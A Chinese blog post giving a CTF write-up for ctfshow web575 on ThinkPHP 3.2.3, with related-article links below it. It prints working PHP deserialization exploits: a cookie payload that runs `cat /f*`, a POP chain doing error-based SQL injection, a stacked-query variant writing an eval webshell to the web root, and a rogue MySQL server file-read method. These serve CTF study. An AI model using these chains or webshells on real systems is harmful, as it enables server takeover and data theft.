ctfshow ThinkPHP篇575

PHP反序列化--简单ctf题--pop链(thinkphp5.1.X)漏洞复现 前言: PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法,这些都是PHP内置的方法。 __construct 当一个对象创建时被调用 __destruct 当一个对象销毁时被调用 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据 __set() 用于将数据写入不可访 阅读详情

web575

给了源码

$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
	$user = M('Users');
	$user->find(intval($id));
	cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}

首先引起注意的是show()函数,前面提到这个函数可以执行php代码。所以我们只要能控制$user->username就可以了。
处于rce的目的的话不进if我们会方便很多。
我们可以直接构造一个类,给他的来个id变量和username变量
payload:

<?php
namespace Home\Controller{
class IndexController {
    public $id='1';   //get传入的id也要相同
    public $username='<?php system("cat /f*");?>';
}
}
namespace{
    use Home\Controller\IndexController;
    echo base64_encode(serialize(new IndexController()));
}
?>

bp抓包修改cookie
在这里插入图片描述
当然除了这个方法以外我们还知道thinkphp3.2.3存在反序列化漏洞。
正好复现一下这个漏洞。
全局搜索__destruct,我们要寻找存在这样可控参数调用方法的。
/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php在这里插入图片描述
接着全局搜索function destroy(

ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
在这里插入图片描述
全局搜索function delete(
/ThinkPHP/Library/Think/Model.class.php
我们看下我们在上一步传入的参数中$this->sessionName是可控的,但是后面拼接了个空字符,当我们给$this->sessionName赋值数组,接着拼接上空字符串就会出问题了。

<?php
$a=array('a'=>'123');
var_dump($a."456"); //string(8) "Array456"

好在后面又调用了一次delete,并且传入的参数是完全可控的。
在这里插入图片描述
接着往下,可以看到调用了delete方法,并且$this->db我们可控。
在这里插入图片描述
那么我们就可以调用自带的数据库类中的delete()方法了。
在这里插入图片描述
这些类都是继承Driver.class.php下的Driver类。
在这里插入图片描述
我们找到里面的delete方法,发现最终的sql语句是delete from后面拼接上了$table,$table是通过parseTable函数处理$options['table']得到的,$options['table']可控。
重点看下parseTable函数
在这里插入图片描述

如果我们的tables是字符串,就会逗号分隔又合并,其实没什么大影响。返回的还是‘tables是字符串,就会逗号分隔又合并,其实没什么大影响。返回的还是`tables是字符串,就会逗号分隔又合并,其实没什么大影响。返回的还是‘options[‘table’]`的值。在这里插入图片描述
最后再来看下执行sql语句的execute函数
在这里插入图片描述
可以看到他首先执行了一个初始化,其实就是去连接数据库
在这里插入图片描述
在这里插入图片描述
第一个我们可以利用的点:报错注入

<?php

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img=new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache {
        protected $handle;
        public function __construct(){
            $this->handle=new Model();
        }

}
}
namespace Think{
    use Think\Db\Driver\Mysql;
    class Model {
        protected $data = array();
        protected $db = null;
        protected $pk;
        public function __construct(){
            $this->db=new Mysql();
            $this->pk='id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=updatexml(1,concat(0x3a,database(),0x3a),1)#",
                "where" => "1"
            );
        }
    }
}
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config     = array(
        "debug"             =>   1,
        'hostname'          =>  '127.0.0.1', // 服务器地址
        'database'          =>  'ctfshow',          // 数据库名
        'username'          =>  'root',      // 用户名
        'password'          =>  'root',          // 密码
        'hostport'          =>  '3306'
        );              
    }
}
namespace{
    use Think\Image\Driver\Imagick;
    echo base64_encode(serialize(new Imagick()));
}

但是报错注入权限比较低,我们要想拿shell的话需要写入木马。所以可以开启堆叠后写入一句话木马.

<?php
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img=new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache {
        protected $handle;
        public function __construct(){
            $this->handle=new Model();
        }

}
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model {
        protected $data = array();
        protected $db = null;
        protected $pk;
        public function __construct(){
            $this->db=new Mysql();
            $this->pk='id';
            $this->data[$this->pk] = array(
                "table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',
                "where" => "1"
            );
        }
    }
}
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,    // 开启才能读取文件
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以
        );
        protected $config     = array(
        "debug"             =>   1,
        'hostname'          =>  '127.0.0.1', // 服务器地址
        'database'          =>  'ctfshow',          // 数据库名
        'username'          =>  'root',      // 用户名
        'password'          =>  'root',          // 密码
        'hostport'          =>  '3306'
        );              
    }
}
namespace{
    use Think\Image\Driver\Imagick;
    echo base64_encode(serialize(new Imagick()));
}

我们前面说到可以控制服务器去连接任意数据库,所以就可以构造恶意mysql数据库让服务器去连接。
脚本地址https://github.com/MorouU/rogue_mysql_server/blob/main/rogue_mysql_server.py
修改要读的文件和端口(不要用3306)
在这里插入图片描述
修改php脚本中的ip、端口、库名等配置
在这里插入图片描述
运行脚本后传入序列化的值等待接收文件内容。
在这里插入图片描述

CTF——Thinkphp5远程命令执行漏洞利用 [BJDCTF 2nd]old-hack(5.0.23) 进入之后: 打开页面,页面提示powered by Thinkphp。说明可能和thinkphp框架有关。也确实如此,这里用到了thinkphp5的远程命令执行漏洞。 Thinkphp5远程命令执行漏洞 漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 $_POST['_meth... 阅读详情

相关推荐

【网络安全 | CTF】攻防世界 php_rce 解题详析

PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。简单来说,由于PHP应用程序没有正确处理外部输入数据(如用户提交的表单、请求参数等),此时通过某些手段向 PHP 应用程序中注入恶意代码,然后通过这些恶意代码实现对受攻击服务器的控制。由上图可知,flag字段储存在flag文件夹下的flag文件中。使用thinkphp 5.1.payload进行尝试,根据提示,使用5.0.20版本的Payload。说明命令执行成功,接着抓取flag即可。

等风来 8396

ctfshow-thinkphp篇

基础知识 关于thinkphp需要知道的基本知识 https://www.kancloud.cn/manual/thinkphp/1696 demo1 修改 D:\phpStudy\PHPTutorial\WWW\thinkphp-3.2\thinkphp-3.2\Application\Home\Controller\IndexController.class.php <?php namespace Home\Controller; use Think\Controller; class Inde

giaogiao123的博客 1235

bfengj#CTF#thinkphp5.0.24反序列化rce1

thinkphp5.0.24反序列化rceModel是抽象类protected $append = [];// $value值,作为call函数引用的第二变量p

【Web】Ctfshow Thinkphp3.2.3代码审计(2)

这段代码的作用是根据数据库字段类型的定义,对数据进行相应的类型转换,以确保数据的类型与数据库字段类型匹配,从而提高数据的准确性和一致性。比如数据库中的id是int型会进入intval函数,你输入1' union select * # 转换后就成了1。因为$options['where']是一个数组,所以会从if进入_parseType。其实很明显就是让$options['where']不为数组就可以了。所以要用一些路子,不进入到下面的if判断里。因为1是number,所以会让。这是我们不愿意看到的。

uuzeray的博客 746

从ORCAP-1589警告看Cadence ORCAD的DRC设置:如何避免‘网络别名’引发的潜在短路风险

本文深入解析Cadence ORCAD中ORCAP-1589警告的深层含义,探讨网络别名可能引发的短路风险及DRC设置优化方案。通过分析网络别名的设计意图、DRC规则配置及最佳实践,帮助工程师有效规避设计风险,提升电路设计的可靠性和规范性。

weixin_34194829的博客 297

QGIS基于快鸟(QuickBird)影像统计小麦种植面积

​01数据情况 本次选用某地4月份快鸟(QuickBird)影像为例,使用QGIS演示提取小麦播种情况,并按照200米*200米分区计算种植面积的过程。 注:本文对应的操作视频作为今天第二篇推送同时发布,习惯看视频的朋友可以点击观看。 附数据压缩包: 链接:https://pan.baidu.com/s/1JVUS8uAOR61RxC1n9Or9_w 提取码:qgis 含快鸟影像QB_subset.tif和200*200米分区矢量图层200Mgrid.shp。 ...

QGISClass的博客 1979

CTFshow——thinkphp专题

570——闭包路由 关注这段代码:这是闭包路由的用法,官方:手册闭包支持 我们用phpinfo()函数测试一下:是可以的 /index.php/ctfshow/phpinfo/1 注意因为eval是一个语言结构而不是函数,所以这里是不能被call_user_func调用的,而assert是一个函数。因此我想到了assert(system("ls"));,但在尝试ls /时却不行了,很迷。 然后我想着参数转移一下。然后下意识构造出这样: /index.php/ctfshow/assert/$_POST[1

D.MIND 的博客 2078

2025.1.16——五、LoveSQL1 sqlmap文件类|万能密码

题目来源:BUUCTF[极客大挑战2019]LoveSQL1。

2402_87387800的博客 1066

ctfshow ThinkPHP篇—3.2.3(569-578)

文章目录web569相关内容题解web570web571web572web573web574web575web576web577web578 web569 相关内容 参考thinkphp手册 为了访问下图中的index方法并输出hello 123我们可以通过下面四种模式。 PATHINFO模式 http://localhost/index.php/Home/Index/index/name/123/ 普通模式 http://localhost/index.php?m=Home&c=Index&a

羽的博客 2883

将GroundDINO、EdgeMTAM和FoundationPose的ONNX模型转换为TensorRT格式并部署到NVIDIA Jetson Orin平台的完整技术指南

TensorRT模型部署指南:从ONNX到Jetson Orin的优化实践 本文详细介绍了将GroundDINO、EdgeMTAM和FoundationPose模型从ONNX格式转换为TensorRT引擎并在Jetson Orin平台部署的全流程。主要内容包括: 环境配置:JetPack 5.1.2+环境搭建,TensorRT工具链安装,存储与交换空间优化 模型转换:动态尺寸处理、自定义算子实现、层融合策略及INT8量化校准 部署优化:引擎序列化加密、多模型并行推理架构设计、CUDA流异步执行 实战技巧。

huanghm88的专栏 437

异构图中的注意力机制网络:节点级别和语义级别的注意力(Python实现)

在本文中,我们介绍了如何使用Python实现异构图中的节点级别注意力和语义级别注意力。通过语义级别注意力,我们可以根据节点的语义信息对节点进行加权聚合。在本文中,我们将介绍如何使用Python实现异构图中的注意力机制网络,包括节点级别的注意力和语义级别的注意力。最后,我们使用注意力权重对节点特征进行加权聚合,得到聚合后的节点表示。然后,将聚合后的节点表示传递给语义级别注意力模型,根据节点的语义信息进行加权聚合,得到最终的表示。函数中,首先使用节点级别注意力模型对节点特征进行聚合,得到聚合后的节点表示。

HackNebulaZ的博客 485

ctfshow thinkphp专题

web569 主要就是考察了一个url解析模式 http://localhost/index.php/模块/控制器/操作/参数/值 payload: /index.php/Admin/Login/ctfshowLogin web570 Common/Conf/config.php,发现可利用点,一个闭包路由 'ctfshow/:f/:a' =>function($f,$a){ call_user_func($f, $a); } 传参发现也能正常执行 /index.php/ctfsho

Sentiment的博客 2018

duilib入门基础一 容器之 BOX、VBOX、HBOX布局及其子控件align排列方式

序 容器 duilib有以下主要布局容器 Box(自由布局容器) VBox(垂直布局容器) HBox(水平布局容器) TabBox(多标签布局容器) TileBox(格子布局容器) ChildBox(子布局容器) ScrollableBox(可滚动容器) 一、Box容器布局 Box容器及其扩展VBox HBox是其中最常用的容器。 相对Box来说,HBox, VBox更好理解些 1.1 VBox HBox VBox下的各个控件垂...

目前打算换一个工作,有招聘windows c++方向的也欢迎联系,北京、济南 最好 3082

ctfshow- thinkphp专题笔记一

web569 @[TOC]web569

Yasso的博客 1160

最新Python爬虫实战(入门爬虫篇)——案例20:某股票数据采集(详细爬虫思路截图+抓包动图演示+完整爬虫代码+详细注释)

本次案例针对某股票行情网的静态HTML页面,实现了全市场股票数据的全自动化爬取,覆盖了从抓包分析、请求模拟、数据解析到数据存储的完整爬虫流程,非常适合入门学习者巩固基础,核心知识点和实现要点总结如下:首先是页面分析的核心逻辑,静态HTML页面的数据爬取,核心在于通过浏览器开发者工具,完成完整的抓包分析和标签结构定位。我们不需要像动态页面那样找隐藏的API接口,只需要确认数据在主文档的HTML源码中,然后通过元素选择器,精准找到每个字段对应的标签,总结出统一的标签结构规律,就能实现批量数据提取。

努力让自己发光,对的人才能迎着光而来 19万+

AI赋能数字人:打造与语音节奏完美匹配的高质量手势动画

想象一个场景:当你与一位数字人交谈时,它不仅能理解你的言语,还能恰到好处地挥动手臂、比划手势,就像真实的人类交流一样自然流畅。这正是当前AI技术致力于实现的目标——通过分析语音内容,自动生成与之相匹配的手势动作,为数字人赋予更加丰富的情感表达和非言语沟通能力。AI手势生成技术的出现,标志着数字人在模仿人类自然交流方式上迈出了重要一步。随着技术的不断成熟与应用场景的拓宽,未来我们可以期待更多富有表现力和情感互动的数字人出现在我们的日常生活中,开启人机交互的新篇章。

这里汇聚了前沿的技术分享与实用的开发技巧,带你探索从创意到企业的技术创业之路。 792

【Web】Ctfshow Thinkphp3.2.3代码审计(4)

这里是从cookie里读user键对应的值进行反序列化,并将实例化对象与传入的id比较,如果id属性与传入的id相等,则show方法调用底层的eval执行实例化对象的username属性。因此,确保在进行反序列化之前,你需要确保序列化的类定义存在,并且能够被自动加载或手动引入。这里令$name=_content,$from=写的马即可让$_content非空,从而eval()执行php代码。这次where()里直接传了一个数组,省得走if将字符串的值再改为_string的数组了。

uuzeray的博客 1628

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

ctfshow thinkphp 3.2.3

web569 相关内容 参考thinkphp手册 路由方式 http://serverName/index.php/模块/控制器/操作 此外就是默认是不区分大小写的,由'URL_CASE_INSENSITIVE' => true,这个配置决定。 URL模式的话,默认是PATHINFO模式,即本题考察的模式。 直接访问即可: /index.php/admin/login/ctfshowlogin web 570 根据题目提示 就直接看官方文档 路由一块 看到了闭包函数 .

blowed的博客 399

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

ctf攻防世界 WEB题:php_rce

ThinkPHP是一个基于PHP语言的开源Web应用框架,它提供了一系列的工具和组件,可以帮助开发人员更快速、更高效地构建Web应用程序。ThinkPHP框架具有简单易用、高效稳定、安全可靠等特点,被广泛应用于各种Web应用程序的开发中。对于thinkphp框架Github上有一个专用的漏洞验证工具:https://github.com/zangcc/Aazhen-v3.1。进入靶场后会看到以下内容,非常直观的说明了自己是thinkphp框架。此工具已经给一个可用的url案例,我们只需要更改就可以了。

qq_30889301的博客 1239

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

CTFSHOW ThinkPHP

在ThinkPHP中,Pathinfo 是一种用于解析 URL 的模式,它允许通过路径参数来指定模块、控制器和方法。根据题目描述,flag 存在于 Admin 模块的 Login 控制器的 ctfshowLogin 方法中,因此需要通过 URL 访问该方法。在 ThinkPHP 的 Pathinfo 模式下,URL 的结构通常为:/index.php/模块/控制器/方法。

2301_80038080的博客 532

【Web】CTFSHOW-ThinkPHP5-6反序列化刷题记录(全)

纯记录exp,链子不作赘述。

uuzeray的博客 1227

BUUCTF-thinkPHP5 RCE

real题目我认为getflag是没意义的,幸运的是能从中学到一些技巧。在用大佬的poc对比官方的poc有一个细节。这题在尝试用命令执行写一句话的时候发现输入。,因此思路应该是将一句话分成两段然后拼一起。会被替换成空字符但是能单独写。

朋克归零膏的博客 643

【CTF部分基础知识二之PHP(二十八)】

控制器就是MVC设计模式中的C(Controller),通常用于读取视图V(View)、完成用户输入以及处理模型数据M(Model)。控制器类文件的实际位置是app\index\controller\Index.php。说明请确保已经在数据库配置文件中配置了数据库连接信息。

lianafany的博客 750

ctfshow ThinkPHP专题 1

PATHINFO模式是系统的默认URL模式,提供了最好的SEO支持,系统内部已经做了环境的兼容处理,所以能够支持大多数的主机环境。REWRITE模式是在PATHINFO模式的基础上添加了重写规则的支持,可以去掉URL地址里面的入口文件index.php,但是需要额外配置WEB服务器的重写规则。m参数表示模块,c参数表示控制器,a参数表示操作(当然这些参数都是可以配置的),后面的表示其他GET参数。,ThinkPHP支持的URL模式有四种普通模式、PATHINFO、REWRITE和兼容模式。...

qq_61768489的博客 991

【Web】Ctfshow Thinkphp5 非强制路由RCE漏洞

前面审了一些tp3的sql注入,终于到tp5了,要说tp5那最经典的还得是rce下面介绍非强制路由RCE漏洞。

uuzeray的博客 1519

ThinkPHP5.0.0~5.0.23反序列化利用链分析

本次测试环境仍然是ThinkPHP v5.0.22版本,我们将分析其中存在的一条序列化链。

shelter1234567的博客 2417
上一篇: ctfshow ThinkPHP篇573
下一篇: ctfshow ThinkPHP篇—3.2.3(569-578)
yu22x
博客等级 码龄7年 3738粉丝 121原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值